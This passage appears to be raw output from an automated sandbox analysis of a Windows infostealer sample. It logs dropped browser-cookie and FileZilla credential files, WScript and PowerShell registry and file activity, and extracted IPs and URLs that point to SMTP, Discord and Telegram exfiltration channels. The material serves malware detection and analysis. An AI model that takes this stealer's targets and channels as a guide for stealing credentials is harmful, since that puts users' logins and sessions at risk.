[%TEMP%\5801ecc3ac68f7ef104796fdde53a902\Chromium_cookies_PREGjB55ZdRvb6m_2025-10-11_20.43.41.json]- [targetUID: 00000000-00005280] "Gecko_cookies_PREGjB55ZdRvb6m_2025-10-11_20.46.20.json" has type "JSON text data"- Location: [%TEMP%\5801ecc3ac68f7ef104796fdde53a902\Gecko_cookies_PREGjB55ZdRvb6m_2025-10-11_20.46.20.json]- [targetUID: 00000000-00005280] "FileZilla_PREGjB55ZdRvb6m_2025-10-11_20.46.20.txt" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\5801ecc3ac68f7ef104796fdde53a902\FileZilla_PREGjB55ZdRvb6m_2025-10-11_20.46.20.txt]- [targetUID: 00000000-00005280] "__PSScriptPolicyTest_k1fbvpen.52z.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_k1fbvpen.52z.ps1]- [targetUID: 00000000-00005280] "__PSScriptPolicyTest_fya3b455.tt3.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_fya3b455.tt3.psm1]- [targetUID: 00000000-00005280] "__PSScriptPolicyTest_1f3jov3m.icd.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_1f3jov3m.icd.psm1]- [targetUID: 00000000-00005280]47:T55e,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: ""; Value: "")48:Tc9b,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "ACP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "OEMCP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "57A6ED1A-79F7-5011-B242-4784E5620CF7"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "B749553B-D950-5E03-6282-3145A61B1002"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000604XX"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "1AFF6089-E863-4D36-BDFD-3581F07440BE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "F0558438-F56A-5987-47DA-040CA75AEF05"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "C7E09E2A-C663-5399-AF79-2FCCD321D19A"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "703FCC13-B66F-5868-DDD9-E2DB7F381FFB"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "F25BCD2E-2690-55DC-3BC4-07B65B1B41C9"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "")49:T4a2,"WScript.exe" trying to touch file "C:\Windows\System32\version.dll" "WScript.exe" trying to touch file "C:\Windows\System32\imm32.dll" "WScript.exe" trying to touch file "C:\Windows\System32\en-US\wscript.exe.mui" "WScript.exe" trying to touch file "C:\Windows\System32\fltLib.dll" "WScript.exe" trying to touch file "C:\Windows\System32\cryptsp.dll" "WScript.exe" trying to touch file "C:\windows\temp\VxOle64.dll" "WScript.exe" trying to touch file "\Global??\FltMgrMsg" "WScript.exe" trying to touch file "C:\WINDOWS\system32\rpcss.dll" "WScript.exe" trying to touch file "C:\Windows\System32\rpcss.dll" "WScript.exe" trying to touch file "C:\WINDOWS\SYSTEM32\kernel.appcore.dll" "WScript.exe" trying to touch file "C:\Windows\System32\kernel.appcore.dll" "WScript.exe" trying to touch file "\Device\CNG" "WScript.exe" trying to touch file "C:\WINDOWS\system32\uxtheme.dll" "WScript.exe" trying to touch file "C:\Windows\System32\uxtheme.dll" "WScript.exe" trying to touch file "C:\WINDOWS\System32\WScript.exe" "WScript.exe" trying to touch file "C:\Windows\System32\wscript.exe" "WScript.exe" trying to touch file "C:\Windows\Globalization\Sorting\SortDefault.nls"4a:Ta44,"WScript.exe" trying to access non-existent file "C:\Windows\System32\MsMpLics.dll" "WScript.exe" trying to access non-existent file "C:\WINDOWS\system32\wbem\wbemcomn.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_1_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources.exe" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\winnlsres.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll"4b:T11ff,"2.5.29.37" "2.5.29.35" Potential IP "64.124.12.162" found in string "250-dedi.controlx.co.uk Hello DESKTOP-8LD9T6N [64.124.12.162]250-SIZE 52428800250-LIMITS MAILMAX=1000 RCPTMAX=50000250-8BITMIME250-PIPELINING250-PIPECONNECT250-AUTH PLAIN LOGIN250 HELP" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" "192.168.0.2" "0.0.0.00000" "0.0.0.0" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" "2.5.4.3" "2.5.29.14" "2.5.29.19" "2.5.29.1" "2.5.29.32" "2.5.29.15" "2.5.29.31" Potential IP "2.5.29.37" found in string "%2.5.29.37" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.10" "2.5.29.17" Potential IP "0.0.0.0" found in string "0.0.0.0," Potential IP "1.0.0.0" found in string ",1.0.0.0,,31bf385" Potential IP "1.0.0.0" found in string "soft.Management.Infrastructure,1.0.0.0,,31bf3856ad364e35" Potential IP "13.0.0.0" found in string "ewtonsoft.Json,13.0.0.0,,30ad4fe6b2a6aeed" Potential IP "0.0.0.0" found in string "n=0.0.0.0, Culture=neutral, PublicKeyToken=null" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.Security.resources,3.0.0.0,en-US,31bf3856ad364e35" "2.5.4.8" "2.5.4.6" "2.5.4.7" "2.5.4.11" "2.5.4.10" "2.5.4.5" "11.10.3.6" "192.168.0.1" "255.255.255.255" "9.17.6.5" "0.200.169.204" "04.198.155.173" "04.200.151.35" "09.145.173.169" "09.226.37.172" "09.74.154.90" "09.74.154.91" "09.74.154.92" "40.228.21.36" "49.88.111.79" "54.61.71.50" "54.61.71.51" "72.105.89.202" "74.7.32.199" "76.63.4.179" "78.239.165.70" "81.214.153.11" "85.220.101.107" "85.44.176.125" "85.44.176.135" "85.44.176.143" "85.44.176.70" "85.44.176.85" "85.44.177.132" "85.44.177.133" "85.44.177.138" "85.44.177.193" "85.44.177.254" "85.44.177.55" "88.105.165.80" "88.105.71.44" "88.105.91.116" "88.105.91.143" "88.105.91.173" "91.101.209.39" "91.96.150.218" "92.211.110.74" "92.40.57.234" "92.87.28.103" "93.128.114.45" "93.225.193.201" "93.226.177.40" "94.110.13.70" "94.154.78.144" "94.154.78.152" "94.154.78.160" "94.154.78.169" "94.154.78.179" "94.154.78.210" "94.154.78.227" "94.154.78.230" "94.154.78.235" "94.154.78.77" "94.154.78.91" "94.186.142.178" "94.186.142.180" "94.186.142.183" "94.186.142.195" "94.186.142.204" "94.186.142.214" "94.186.142.236" "94.186.142.246" "95.181.175.103" "95.181.175.105" "95.228.105.39" "95.239.51.3" "95.239.51.42" "95.239.51.46" "95.239.51.59" "95.239.51.65" "95.239.51.73" "95.239.51.80" "95.239.51.89" "95.68.142.20" "95.68.142.3" "95.74.76.222" "0.114.22.115" "0.99.160.173" "04.101.161.31" "04.101.161.32" "07.102.138.83" "07.102.138.93" "08.78.41.115" "09.127.189.74" "12.119.227.136" "12.119.227.151" "12.119.227.167" "12.119.227.179" "12.119.227.184" "12.41.6.23" "13.33.142.50" "13.33.190.109" "13.33.190.118" "13.33.190.171" "13.33.190.22" "13.33.190.227" "13.33.190.242" "13.33.190.35" "13.33.190.42" "13.33.190.46" "13.33.190.69" "13.33.190.74" "3.128.248.46" "4.105.0.27" "4.105.183.68" "4.105.72.241" "4.138.255.104" "4.138.96.23" "4.141.146.114" "4.141.245.25" "4.142.74.220" "4.145.195.58" "4.145.89.174" "4.17.49.70" "4.17.55.59" "4.253.248.228" "4.73.60.153" "4.83.46.130" "4.85.243.241" "4.85.253.170" "5.186.33.204" "5.192.93.107" "5.197.127.11" "5.199.6.13" "5.229.69.227" "5.237.47.12" "8.154.242.210" "5.8.148.171" "2.250.30.131" "4.124.12.162" "7.218.111.202" "8.139.8.50" "9.104.209.109" "9.104.209.168" "9.104.209.172" "9.104.209.221" "9.104.209.231" "9.104.209.24" "9.104.209.249" "9.104.209.33" "9.104.209.36" "9.104.209.66" "0.211.0.97" "1.181.60.60" "4.147.54.113" "4.147.54.61" "4.147.56.249" "4.147.60.41" "4.147.60.52" "4.147.61.28" "4.147.62.12" "4.147.63.171" "4.147.63.236" "4.57.183.108" "4.57.200.69" "7.166.48.65" "7.166.50.1" "7.166.50.213" "7.166.51.209" "8.132.225.100" "8.132.226.203" "8.132.227.238" "8.132.231.71" "8.153.199.169" "8.64.35.141" "8.64.36.101" "8.66.107.75" "8.66.111.235" "8.66.8.175" "8.67.131.90" "8.67.134.91" "8.86.117.130" "9.208.29.106" "9.208.29.108" "9.208.29.140" "9.208.29.149" "9.208.29.63" "9.208.29.64" "9.208.29.95" "9.208.29.96" "9.208.29.97" "9.208.29.98" "2.211.109.160" "2.211.192.144" "2.211.52.62" "2.211.55.199" "3.216.75.209" "5.25.204.90" "5.25.71.112" "5.25.71.12" "5.25.71.5" "5.25.71.64" "5.25.71.65" "5.25.71.70" "5.25.71.80" "5.25.71.86" "5.25.71.87" "5.25.71.89" "5.25.71.92" "5.25.81.24" "1.0.0.0"4c:Tbcb,Heuristic match: "icanhazip.com" Heuristic match: "mail.clarsachsociety.co.uk" Heuristic match: "iety.co.uk" Heuristic match: ".co.uk" Heuristic match: "omp.com" Pattern match: "http://icanhazip" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "em.sl" Pattern match: "microsoft.net/assembly/gac_64/mscorlib/v4.0_4.0.0.0__b77a5c561934e089/mscorlib.dll" Heuristic match: "web.co" Pattern match: "http://www.validationtest.contoso.com/test%ld.html" Heuristic match: "!km.bn" Pattern match: "http://www.microsoft.com" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" Pattern match: "t.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm0" Pattern match: "crl.microsoft.com/pki/crl/products/mi" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Heuristic match: "ystem.windows.fo" Heuristic match: "stem.mp" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.iis.powershell.commands/v4.0_10.0.0.0__31bf3856ad364e35/microsoft.iis.powershell.commands.dll" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "www.digicert.com1$0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1!0" Pattern match: "www.digicert.com1" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://www.microsoft.com0" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Heuristic match: "ystem.drawing.ni" Heuristic match: "ement.automation.re" Heuristic match: "tion.re" Pattern match: "http://www" Heuristic match: "micrlistt.co" Heuristic match: "cim_system.name" Heuristic match: "cim_computersystem.name" Pattern match: "discord.com/api/v9/users/@me" Pattern match: "www.phantomsoftwares.site/logo/phantom_discord.png" Pattern match: "https://t.me/oldphantomoftheopera" Pattern match: "https://www.phantomsoftwares.site/home" Heuristic match: "hrome_xmr.pt"4d:T569e,Found URL "http://www.validationtest.contoso.com/test%ld.htmlmpoav_forcedeepscan" - Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00005280.00000001.260141.A6A70000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005280.00000001.260141.A6A70000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/mi06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005280.00000001.260141.A6A70000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005280.00000001.260141.A6F50000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005280.00000001.260141.A6F50000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.36.3.3.2.8.1.1.8@eckp1.2.156.11235.1.1.2.1@eckp1.2.840.10045.3.1.2ecdp1.2.840.10045.3.1.4ecdp1.2.840.10045.3.1.4@eckp1.2.840.10045.3.1.7@eckp1.2.840.10045.3.1.5ecdp1.3.36.3.3.2.8.1.1.12ecdp1.2.840.10045.3.1.6@eckp1.3.36.3.3.2.8.1.1.11ecdp1.3.36.3.3.2.8.1.1.11@eckp1.3.36.3.3.2.8.1.1.9ecdp@1.2.840.10045.3.1.1ecdp1.2.840.10045.3.1.5@eckp1.2.840.10045.3.1.2@eckp1.2.840.10045.3.1.6ecdp1.3.36.3.3.2.8.1.1.14ecdp1.2.840.10045.3.1.7ecdp1.2.840.10045.3.1.1@eckp1.2.840.10045.3.1.1ecdp1.3.36.3.3.2.8.1.1.12@eckp1.3.36.3.3.2.8.1.1.10ecdp@1.3.36.3.3.2.8.1.1.13@eckp.0.0193419341.3.36.3.3.2.8.1.1.13ecdp1.2.156.11235.1.1.2.1ecdp1.2.840.10045.3.1.7@eckp1.2.840.10045.3.1.3ecdp1.3.36.3.3.2.8.1.1.10@eckp@1.3.36.3.3.2.8.1.1.14@eckp1.2.840.10045.3.1.1@eckp1.2.840.10045.3.1.7ecdp1.2.840.10045.3.1.1ecdp1.2.840.10045.3.1.3@eckp1.2.840.10045.3.1.7ecdp1.3.36.3.3.2.8.1.1.9@eckp@6n5c%washington1redmond1microsoft" - Source: "00000000-00005280.00000001.260141.A6F50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00005280.00000001.260141.A6F50000.00000004.mdmp") Found URL "http://www.microsoft.com0w/t'dy" - Source: "00000000-00005280.00000001.260141.A6F50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005280.00000001.260141.A6F50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0j" - Source: "00000000-00005280.00000001.260141.A6F50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005280.00000001.260141.A6F50000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportcalrpc:[impcpyacltr1d8d3448-2a8d-409f-841d-2db9e0220897]owspowspnternaldefinitionupdateserver" - Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0p)" - Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0j" - Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") Found URL "http://www." - Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") Found URL "https://t.me/oldphantomoftheopera" - Source: "00000000-00005280.00000001.260141.BF910000.00000004.mdmp") Found URL "https://www.phantomsoftwares.site/home" - Source: "00000000-00005280.00000001.260141.BF910000.00000004.mdmp") Found URL "https://www.phantomsoftwares.site/homeploading" - Source: "00000000-00005280.00000001.260141.BF910000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%lu&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&forceupdatefrommuhttpupdatealtlocationcloudbasedbehaviorblockingsignaturedisablenotificationdisablescheduledsignatureupdateonbatterysignaturecategoryidnissignatureslastupdatedsignatureupdatecatchupintervalenableemergencysigslastemergencysigchecknissignatureversiondeltaupdatefailure%mpconfig_productappdatapath%\definition" - Source: "00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportdisableblockatfirstseenlocalsettingoverridesubmitsamplesconsentheartbeatsamplingrateheartbeatdelayindaysbypassinternetcheckssloptionslastmapssuccesstimemapslatencyretrytimeoutthreatseveritydefaultactionlastmapsfailuretimetsstarttimetsstatetssourcetsexpirationtimedisableprivacymodetsdailyquotauilockdownallowuseruiaccessnotification_suppressadvertiselastscheduledsuppresswdonotificationsuppressrebootnotificationpauseupdateexpirationtimepauseupdatestarttimedisablelastaccesstimesuppressionlastheartbeatsystimeproxyforceignorecacheinternalforceuupdisableasyncscanonclosedisableinjectionenablertpasyncthrottlingasynconopenvolumesdlpshowdialogsrtpasyncthrottlepercentvaluedlpdisableprintfileheuristicenablebrowserpasteenforcementdisablecopyaccelerationforsessionzerodlpdisablebrowsercachedynamicinjectionthresholdforcopyaccelerationdisabletpexclusionsdlpbrowsercachecleanupintervaldynamicinjectiontimewindowforcopyaccelerationdlpbrowsercloudegressbypassdurationdlpbrowserstalecachecleanupintervalfilterexperimentmodepreventplatformupdatempconfig_productcodenamecopyacceleratorcancellablecopysupportmpconfig_productpathmpconfig_productuserappdatapathmpconfig_productappdatapath12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_appdataroot\msmplics.dllmpconfig_reportingguidorrupted_previous_tspreferenceconfigs.snptpconfigsnapshot.snptspolicyconfigs.snphklm\failed" - Source: "00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00005280.00000002.262058.A6A70000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005280.00000002.262058.A6A70000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/mi06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005280.00000002.262058.A6A70000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005280.00000002.262058.A6F50000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005280.00000002.262058.A6F50000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.36.3.3.2.8.1.1.8@eckp1.2.156.11235.1.1.2.1@eckp1.2.840.10045.3.1.2ecdp1.2.840.10045.3.1.4ecdp1.2.840.10045.3.1.4@eckp1.2.840.10045.3.1.7@eckp1.2.840.10045.3.1.5ecdp1.3.36.3.3.2.8.1.1.12ecdp1.2.840.10045.3.1.6@eckp1.3.36.3.3.2.8.1.1.11ecdp1.3.36.3.3.2.8.1.1.11@eckp1.3.36.3.3.2.8.1.1.9ecdp@1.2.840.10045.3.1.1ecdp1.2.840.10045.3.1.5@eckp1.2.840.10045.3.1.2@eckp1.2.840.10045.3.1.6ecdp1.3.36.3.3.2.8.1.1.14ecdp1.2.840.10045.3.1.7ecdp1.2.840.10045.3.1.1@eckp1.2.840.10045.3.1.1ecdp1.3.36.3.3.2.8.1.1.12@eckp1.3.36.3.3.2.8.1.1.10ecdp@1.3.36.3.3.2.8.1.1.13@eckp.0.0193419341.3.36.3.3.2.8.1.1.13ecdp1.2.156.11235.1.1.2.1ecdp1.2.840.10045.3.1.7@eckp1.2.840.10045.3.1.3ecdp1.3.36.3.3.2.8.1.1.10@eckp@1.3.36.3.3.2.8.1.1.14@eckp1.2.840.10045.3.1.1@eckp1.2.840.10045.3.1.7ecdp1.2.840.10045.3.1.1ecdp1.2.840.10045.3.1.3@eckp1.2.840.10045.3.1.7ecdp1.3.36.3.3.2.8.1.1.9@eckp@6n5c%washington1redmond1microsoft" - 